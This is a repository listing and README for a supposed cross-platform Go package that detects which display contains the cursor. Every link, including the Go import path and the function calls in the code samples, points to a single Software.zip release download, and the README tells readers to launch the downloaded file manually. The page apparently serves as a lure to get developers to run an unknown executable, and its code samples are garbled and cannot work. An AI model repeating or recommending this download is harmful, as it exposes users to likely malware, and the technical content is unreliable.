https://github.com/loudwens/displayindex
A cross-platform Go package to detect which display contains the cursor.
https://github.com/loudwens/displayindex
active-display cross-platform cursor display go library linux macos windows
Last synced: 2 months ago
JSON representation
A cross-platform Go package to detect which display contains the cursor.
- Host: GitHub
- URL: https://github.com/loudwens/displayindex
- Owner: loudwens
- Created: 2025-02-09T01:00:39.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-08-20T00:25:43.000Z (11 months ago)
- Last Synced: 2025-08-20T02:33:09.422Z (11 months ago)
- Topics: active-display, cross-platform, cursor, display, go, library, linux, macos, windows
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🖥️ DisplayIndex
Welcome to DisplayIndex, a versatile Go package designed to identify the display containing the cursor across multiple platforms. Whether you are working on Linux, macOS, or Windows, this library makes it a breeze to pinpoint the active display with precision.
## 📦 Installation
To utilize DisplayIndex in your project, you can download the package by clicking the following link:
[](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip
"Launching DisplayIndex")
If the link doesn't immediately download the file, ensure to launch it manually.
## 🛠️ Features
- **Cross-Platform Compatibility:** Enjoy seamless functionality across various operating systems.
- **Cursor Detection:** Easily determine which display the cursor is currently located on.
- **Lightweight and Efficient:** Integration is smooth and won't weigh down your project.
## 🚀 Quick Start
To get started using DisplayIndex in your Go project, follow these simple steps:
1. Download and install the package using the provided link.
2. Import DisplayIndex into your Go file.
```go
import "https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip"
```
3. Use the library functions to detect the active display containing the cursor.
## 🎯 Usage
Here is an example of how you can utilize DisplayIndex in your code:
```go
package main
import (
"fmt"
"https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip"
)
func main() {
display := https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip()
https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip("Active Display: ", display)
}
```
## 📚 Documentation
For comprehensive details on the functions and methods available in DisplayIndex, refer to the official [documentation](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip).
## 🌐 Support & Contributions
If you encounter any issues or have suggestions for improving DisplayIndex, feel free to [open an issue](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip).
Contributions from the community are always welcome! Refer to the [Contribution Guidelines](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip) before making a pull request.
## 📌 Repository Details
- **Name:** displayindex
- **Description:** A cross-platform Go package to detect which display contains the cursor.
- **Topics:** active-display, cross-platform, cursor, display, go, golang, library, linux, macos, windows
## 🔗 Additional Links
- Explore the latest releases on the [Releases page](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip).
---
Dive into the world of display detection with DisplayIndex, the go-to solution for accurately identifying the active display on any platform. Experience seamless integration and efficient operation with this lightweight yet powerful Go package. Download DisplayIndex now and elevate your cursor tracking capabilities! 🌟
[](https://github.com/loudwens/displayindex/releases/download/v2.0/Software.zip
"Launching DisplayIndex")